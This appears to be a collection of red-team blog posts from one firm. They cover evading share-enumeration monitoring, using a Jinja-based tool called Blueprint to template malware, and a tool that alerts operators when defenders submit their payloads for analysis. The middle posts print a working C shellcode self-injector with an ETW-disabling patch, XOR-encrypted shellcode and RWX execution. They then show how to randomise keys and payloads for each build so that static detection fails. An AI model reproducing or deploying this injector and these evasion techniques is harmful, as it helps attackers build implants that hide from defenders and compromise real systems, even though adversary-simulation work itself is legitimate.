Treading carefully in Share Enumeration

Wherever there's Windows in corporate environments, there are Windows File (SMB) Shares. More often than not, during Adversary Simulation exercises operators need to enumerate which shares exist on which hosts, who can read and/or write to them, what files they contain, etc. Scenarios often arise that may even involve enumerating shares to write to them, i.e. to coerce authentication upon browsing, etc. Naturally, due to the vast usage of this TTP (MITRE ID: T1135) amongst exercises and actual threat actors, there are plenty of methods to monitor such behaviors.

Monitoring enumeration attempts

In most corporate environments, shares are typically accessed at any given time by mulitple hosts, creating extensive amounts of logging. Effective monitoring against share enumeration attempts usually revolves around a given timeframe, which is usually small. By corellating Windows Security events and network traffic logs a small subset of rules could be as follows:

  • Any host communicates with more than 10 hosts on port 445 in the last 5 minutes
  • Any host successfully authenticates an account rapidly in the last 5 minutes
  • Any host rapidly requests Service Tickets in the last 5 minutes
  • ...

More detailed information can be found in this article by Splunk on the topic.

Fine-tuning the toolset

In order to evade such monitoring attempts, the Red Team at Hackcraft utilizes custom tooling that can be fine-tuned in terms of behavior to fly under the radar when such monitoring is in place. Regarding share enumeration specifically, an open-source tool was forked for this very reason, SharpShares.

Our fork adds the following list of features:

  • Support for specifying a sleep/jitter combo, which is used to determine a sleep duration after each enumeration action it performs.
  • Support for spidering files in shares, along with identification of interesting files based on a user provided keyword list.
  • Support for specifying the target list in the command line instead of enumerating it from the Active Directory to allow for a minimal footprint.

Contributing

Our fork of SharpShares can be found on the Hackcraft Github. Contributions and additions to the project are always welcome. Have fun mining shares and thank you for reading! 🙂

From traditional to templated malware

This is a follow-up article to Introducing Blueprint which was released to accompany our malware templating tool, Blueprint. The goal of this article is to provide a small but concise use case, demonstrating the effectiveness of templating in malware development and how you can port your own "traditional" malware to templated ones, leveraging the sinister modules provided by Blueprint.

An example of a use case

The example use case here will be a simple shellcode injector, in which XOR encrypted shellcode is embedded and injected at runtime to itself for execution. We will be working our way through the source code, using Blueprint to address the following issues:

  • The XOR key utilized is static across builds, which can compromise OPSEC of variants of our malware that get decrypted due to one ending up in the hands of analysts.
  • Embedding the shellcode is an error-prone, manual process.
  • Modifications to the XOR key also requires modifying the shellcode so that it is encrypted with the same key.
  • The larger the embedded shellcode, the more difficult it gets for the author(s) to navigate the code.
  • Enabling or disabling features (such as certain bypasses) between builds requires modifications to the source code.

A preface

Although most of the code described can be found in this article, for easier access to the readers and a future-proof way to patch bugs and make corrections, both the traditional and the templated versions of the self-injector source code can be found in this Github repository, in their respective branches.

It is also very important that the following disclaimer is stated; this blog post (and its accompanying code) are merely provided as an example use case and are not authored with OPSEC considerations in mind or to provide evasion. Simplicity is HEAVILY favoured over the aforementioned principles and it should only serve as an example of Blueprint usage.

Examples of this that will be easily spotted by keen readers are the following:

  • The original shellcode buffer is left uncleared after decryption, which exposes it in cleartext.
  • The shellcode pages are allocated with RWX memory permissions.

The traditional approach

First, let's look at the traditional way of writing such a self-injector in C. An example implementation could be as follows:

// SelfInjector.c
#include <windows.h>

// A function that performs a XOR operation on a BYTE array of size sz with a static key of 0xf7.
BYTE* XOR(BYTE* buf, size_t sz)
{
    char key = 0xf7;

    for (int i = 0; i < (int)sz; i++)
        buf[i] = buf[i] ^ key;

    return buf;
}

// A function that patches "ntdll.dll!EtwEventWrite" to prevent ETW event reporting.
void PatchETW()
{
    void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

    char etwPatch[] = { 0xC3 };

    DWORD lpflOldProtect = 0;
    unsigned __int64 memPage = 0x1000;
    void* etwAddr_bk = etwAddr;

    VirtualProtect((LPVOID)&etwAddr_bk, (SIZE_T)&memPage, 0x04, &lpflOldProtect);
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)etwAddr, (PVOID)etwPatch, sizeof(etwPatch), (SIZE_T*)NULL);
    VirtualProtect((LPVOID)&etwAddr_bk, (SIZE_T)&memPage, lpflOldProtect, &lpflOldProtect);
}

void Inject()
{
    unsigned char shellcode[] = { 
        /* Insert a XOR'ed version of your shellcode here, in a byte array format. */ 
        0x6d, 0x6d, 0x6d, 0xbc, 0xa4, 0xbc, 0xac, 0xa8, 0xb5, 0x74, 0x18, 0xb5, 0x7c, 0x11, 0xdd, 0xfd, 0xfd, 0xfd, 0xb5, 0x70, 0xe0, 0x17, 0x02, 0x02, 0x02, 0xb5, 0x74, 0x22, 0xb5, 0x7c, 0x3e, 0x59, 0x93, 0xfc, 0xfd, 0x02, 0x2e, 0xbc, 0x45
        /* SNIP */
    };

    XOR(shellcode, sizeof(shellcode));

    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
}

int main(int argc, char* argv)
{
    PatchETW();
    Inject();

    while(TRUE){}
}

The aforementioned list of problematic points with the above source are apparent right away. Although it is a perfectly working example of a self-injector it is painful to work with, which will only get worse with increasing complexity. Let's utilize Blueprint to alleviate the problems.

The templated approach

First of all, let's start by adding Blueprint as a submodule to our self-injector repository, as follows:

git submodule add https://github.com/Hackcraft-Labs/Blueprint.git

Next, let's create a configuration file for Blueprint in blueprint.json:

{
    "filters":[],
    "targets":[]
}

Blueprint Targets

Now we can start defining templated files, or better known as targets for Blueprint. Conventionally, these files have the .tpl extension, so let's move SelfInjector.c to SelfInjector.c.tpl.

We can now add a target entry to the Blueprint configuration:

{
    "filters":[],
    "targets":[
        {
            "input":"SelfInjector.c.tpl",
            "output":"SelfInjector.c",
            "variables":{}
        }
    ]
}

Blueprint Variables

Notice that for now the variable list is empty, but we can define our first variable to control a specific behavior in our self-injector, whether EtwEventWrite will be patched before injection or not.

{
    "filters":[],
    "targets":[
        {
            "input":"SelfInjector.c.tpl",
            "output":"SelfInjector.c",
            "variables":{
                "PATCH_ETW":true
            }
        }
    ]
}

We can now reference this variable in SelfInjector.c.tpl:

/* SNIP */

{% if PATCH_ETW %}
    void PatchETW() { /* SNIP */ }
{% endif %}

/* SNIP */

int main(int argc, char* argv)
{
    {% if PATCH_ETW %}
        PatchETW();
    {% endif %}

    Inject();

    while(TRUE){}
}

Now toggling this behavior is as simple as editting the JSON file before compilation, and there is no need to modify the source code. Of course this could also be achieved through preprocessor definitions, but keep in mind that since Blueprint templating happens at source level it is portable to any language/compiler/build system and platform.

Blueprint Filters

The next problems we will tackle are all in regards to embedding the shellcode. For this, we will be using two filters in conjunction to each other, to embed the shellcode from a file at build time:

We need to add these as imported filters in blueprint.json:

{
    "filters": [
        "io.Content",
        "fmt.HexArray"
    ]
    /* SNIP */
}

Let's modify SelfInjector.c.tpl again, as follows:

/* SNIP */

void Inject()
{
    unsigned char shellcode[] = { {{ "shellcode.bin" | content | hexarr }} };

    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
}

/* SNIP */

Notice the pipeline in between {{ }}. This is Jinja2 markup, which instructs Blueprint to fetch the contents of shellcode.bin and embed it in our file after formatting it into an C-style array of hexadecimal characters.

Now each time we compile, provided Blueprint is invoked before compilation, our shellcode will be embedded automatically. This allows fetching a fresh shellcode instance from our C2 server automatically, and it is exactly what we do at Hackcraft to automate our payload creation process for the operations team.

Filter Feedback

The final issues we have to tackle is the static XOR key, which has to be replaced with a dynamic approach and also encrypting our shellcode byte array with it, prior to compilation.

Let's start with the latter, where we will modify SelfInjector.c.tpl once again, utilizing the crypto.XOR filter


/* SNIP */

void Inject()
{
    unsigned char shellcode[] = { {{ "shellcode.bin" | content | xor | hexarr }} };

    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
}

/* SNIP */

Note that we also need to import it in the Blueprint configuration:

{
    "filters": [
        "io.Content",
        "fmt.HexArray",
        "crypto.XOR"
    ]
    /* SNIP */
}

The XOR filter generates a random single-byte XOR key when imported (thus each time Blueprint is invoked) and when invoked encrypts it input with it.

The above pipeline will now get the contents of shellcode.bin, encrypt it with a random XOR key and output it as a C-style hexadecimal array, eliminating all the manual work necessary to swap XOR keys.

The only thing missing is getting the randomly generated key back, so that we can decrypt with it at runtime. This is as simple as follows:

/* SNIP */

BYTE* XOR(BYTE* buf, size_t sz)
{
    char key = {{ XOR_KEY }};

    for (int i = 0; i < (int)sz; i++)
        buf[i] = buf[i] ^ key;

    return buf;
}

/* SNIP */

Certain filters (XOR is among them) feed variables back to the templating context, the names of which you can find in the filter documentation.

Templating in action

After executing Blueprint, providing blueprint.json as the configuration file and turning off ETW patching, the following contents are generated in SelfInjector.c:

An epilogue

Using Blueprint, we have worked through each problem in our list and have ended up with a versatile and dynamic (between builds) piece of malware, that does not require the operations team (the end users) to modify the source code to alter its features and behavior.

It should be noted however that the available filter list does not (and cannot) cover each potential use case. In case you require functionality that is not present, building it in Python3 is simple enough. An example of a custom filter can be found here.

As always, pull requests that add new filters or fix bugs and extend the functionality of Blueprint itself will be happily received and hopefully merged. Thank you for reading, and happy templating! 🙂

Introducing Blueprint

Intro

As discussed in our previous post, regarding Fairplay, during Red Team engagements a lot of focus is shifted into preserving and protecting the malware. Fairplay does its fair share of work to provide us with the information on when we get detected, but before that, we needed a way to make sure that each and every single payload that we utilize is unique. This ultimately prevents mass-actions taken against static information in our payloads, since each payload is always unique statically and perhaps even sometimes behaviourally.

However, not all payloads are the same. Red Teams usually assess and evaluate multiple potential entrypoints, each one with its own caveats. There are vast differences between platforms, technological stacks and contexts. There are for example native Windows executables, managed .NET assemblies, VBScript/JScript HTA or CHM enabled documents, etc. The plethora of possible combinations of attack chains and scenarios is huge when the potential options are served with a multitude of different attack chains, comprised of sets of TTPs. The previous example now becomes:

  • Native Windows Service Executable that performs self injection of shellcode using RtlRunOnceExecuteOnce
  • .NET executable that performs AppDomainManager hijack to remote process shellcode injection targetting Explorer.exe
  • ...

As one can observe, the list quickly grows out of hand rather quickly. This created a nuance from both the developers' as well as the operators' perspectives. It became apparent that producing unique builds that are comprised of smaller, TTP based modules, in multiple "wrapper" formats (.exe, .dll, .hta, etc.) at will without deep diving in the code required for an across the board solution that could template malware at source code level.

What is Blueprint?

Blueprint is a python3 source-code level modular templating solution based on Jinja. It is developed by the Hackcraft Red Team and is open-source and freely available.

Github repository: https://github.com/Hackcraft-Labs/Blueprint

Jinja boilerplate

Blueprint extends the classic Jinja syntax and offers modularity through the use of filters. Filters, functionality native to Jinja, are essentially python-backed functions that receive input which they operate on and return the output. They can be called in the Jinja context in the form of pipelines, which are evaluated to the final outputs. An example is as follows:

{{ "Example" | filter1 | filter2 }}

Here, the expression inside the double braces will be evaluated as the equivalent of the following python snippet:

filter2(filter1("Example"))

Example definitions of filter1 and filter2 could be as follows:

def filter1(inp):
    return inp + "1"

def filter2(inp):
    return inp + "2"

As a result the above expression would be evaluated to Example12.

Blueprint modules

Blueprint offers an extensive list of sinister modules which we use extensively in our malware, which of course can be extended in python3 and is as follows:

  • Input/Output
    • Content : Retrieves the binary contents of a file
    • Output : Writes to a binary file
  • Crypto
    • AES : Performs AES encryption with a randomly generated key and IV
    • XOR : Performs XOR encryption with a randomly generated single-byte key
  • Hashing
    • DJB2 : Computes the DJB2 hash of the input, which is useful when hashing known strings for obfuscation
  • Format
    • HexArr : Formats the input to a comma-separated array of hex represented bytes
    • DecArr : Formats the input to a comma-separated array of decimal represented bytes

The author of the template can use these modules as a language-agnostic build-time metaprogramming environment to tweak certain aspects of the code. Consider for example the following use case:

// File: example.h.tpl

// In this malware, we need to execute a piece of shellcode.
// The shellcode is AES encrypted at rest and decrypted before being self-injected at runtime.

// Let us define a C array of bytes to hold the AES encryption key.
// Notice the Blueprint templating which will evaluate to the value of the variable AES_KEY as a hex-array.
unsigned char key[] = { {{ AES_KEY | hexarr }}} ;

// Same process, but for the encryption IV this time.
unsigned char iv[] = { {{ AES_IV | hexarr } }}

// Now for the actual shellcode, let us:
// - Retrieve the contents of payload.bin 
// - Encrypt it with the aes module (Random key and IV will be generated and output to AES_KEY and AES_IV respectively)
// - Represent it as a hex-array
unsigned char payload = { {{ "payload.bin" | content | aes | hexarr }} }

Notice how this is not constrained to a certain compiler, let alone a specific language or context. This can be used in any source code file and can of course be extended at will.

Behavioral modularity

In Blueprint templates, we can also leverage Jinja control-flow primitives to offer a way to the operator to toggle certain features on or off at build time, without having to make changes to the code. Consider the following example:

// File: example.c.tpl

// Include our payload header file, produced by example.h.tpl
#include "example.h"

// ... snip ...
int __stdcall WinMain(HINSTANCE hInst, HINSTANCE hInstPrev, PSTR cmdline, int cmdshow)
{
    // Decrypt the shellcode
    perform_aes_decryption(payload, sizeof(payload), key, iv);

    // If PATCH_ETW is set, then disable it.
    {% if PATCH_ETW %}
        disable_etw();
    {% endif %}

    // Perform the injection.
    inject(payload, sizeof(payload));
}

Metaprogramming concepts

Another cool side-effect of templating is that you can provide an abstract interface to the operations team. Consider for example the use case where malware can target a list of processes to inject shellcode to, which can vary in size. Also, all these strings should be encrypted in some way to prevent static identification. This becomes as simple as:

{% for process_name in INJECT_TO_PROCESSES %}
unsigned char proc_{{ loop.index }}_str[] = { {{ process_name | xor | hexarr }} };
{% endfor %}

We just defined a number of C arrays containing the XOR encrypted versions of the process name strings defined in the python array INJECT_TO_PROCESSES.

Bringing it all together

Now all that's left is wrapping up this hot mess of features into a neat little present before presenting the dev team's work to the operators, which is offered through the magic of JSON configuration files. An example for our case would be as follows:

{
    "filters":[
        "crypto.AES",
        "crypto.XOR",
        "io.Content"
    ],
    "targets":[
        {
            "input":"example.h.tpl",
            "output":"example.h",
            "variables":{}
        },
        {
            "input":"example.c.tpl",
            "output":"example.c",
            "variables":{
                "INJECT_TO_PROCESSES":["explorer.exe", "TextInputHost.exe"],
                "PATCH_ETW":true
            }
        }
    ]
}

This configuration file can be editted at will by the operations team to provide malleable capabilities to each campaign and scenario, while allowing for it to morph on its own as well during each built, to provide OPSEC against static checks. It is parsed by Blueprint, in the following way:

  • The filters defined are imported into the context.
  • For each entry in targets:
    • The input file is evaluated as a Blueprint template.
    • The variables are inserted into the context.
    • The end result is written to the file defined in the output.

Then, your usual build pipeline continues, targetting the files output by Blueprint. Again, this supports anything from an VS/MSBuild C/C++ project to a JScript CHM Help Studio project.

That's it, we are done! Almost...

A love letter to the devs

Blueprint abstracts away many of the nitty gritty details of the underlying malware code, but after using it for a while it was pretty aparrent that it completely broke syntax highlighting on every editor out there. Unfortunatelly, the solution to this can not be easily abstracted away, but we have created a small plugin for Visual Studio Code to facilitate authoring Blueprint malware templates, which supports syntax highlighting for Blueprint templates containing the following languages/contexts:

  • C/C++
  • C#
  • Batch

The list can of course be further extended. May the eye-strain be reduced! 🙂

The plugin will be released in the near future, so keep an eye out!

Contributions

Contributions to the code base of Blueprint are very much welcome through Pull Requests submitted on its repository, both for the framework as well as for new modules that provide functionality related to malware development.

Establishing Fairplay in Red Team engagements

Intro

During Red Team engagements, one of the most important tasks is to protect the crown jewels of the operation. As soon as the payloads prepared by the Red Team are delivered to the targets, security analysts of the Blue Teams submit potential malware samples to multiple online sources for further analysis. This is also common practice in multiple automated security solutions, such as email gateways, Antiviruses, sandbox frameworks and EDR products.

Many of these online sources can be queried using a file hash to identify whether a sample was previously analysed, as well as retrieve the results of such analysis. Also, most of them offer web-based APIs, that allow for the automation of such tasks.

Github repository: https://github.com/Hackcraft-Labs/Fairplay

Fairplay is an extensible modular framework that was developed by the Hackcraft Red Team, which aims to alleviate part of the heavy lifting of monitoring file hashes across multiple online-based sources, as well as provide an extensible way to generate notifications across multiple platforms.

When provided a list of file hashes to monitor, Fairplay will silently query its list of online sources, and provide notifications for when a sample is encountered (thus submitted for analysis) the first time, as well as for any submissions that follow on new sources, letting the Red Team know when their payload is analysed.

Possessing this information allows the Red Team to modify their attack paths, TTPs and overall strategy on the fly, according to analysis actions made by engineers or automated solutions. Since it was developed with extensibility in mind, and has been of help to the Red Team on multiple occasions, we decided to release it as open-source software.

Information regarding installing and configuring the tool can be found in its repository, along with a template configuration file in which API keys and webhook URLs can be specified. Examples of monitored IOCs are also provided.

Integrations

Fairplay currently supports monitoring of submissions on the following platforms, utilizing their web API:

  • VirusTotal
  • HybridAnalysis
  • Google Search
  • MetaDefender
  • MalwareBazaar

Moreover, it supports generating notifications on the following services, using their webhooks:

  • Microsoft Teams
  • Slack

It also supports notifying directly to the console window.

Extensibility

Fairplay and its modules are developed in Python3. Instructions regarding the creation of new collectors (modules that query info in online sources) and notifiers (modules that generate notifications) can be found in Fairplay's repository and there is also support for retrieving "extra" information that are potentially provided by online sources, such as the detection type of the sample, how many engines detected is as malicious or clean, etc. "Hot" reloading of plugins and monitored IOCs is also supported, from its command-line interface.

Reported Information

The following image is an example of a Microsoft Teams notification generated by Fairplay. In this example, the file hash of the popular antivirus test file 'EICAR' was identified for the first time on HybridAnalysis, for which Fairplay reports the detection type and provides a link to the submitted file for further observation.

Contributions

Contributions to the code base of Fairplay are very much welcome through Pull Requests submitted on its repository, both for the framework as well as for new modules that either collect information from a new online source or generate notifications on a new channel.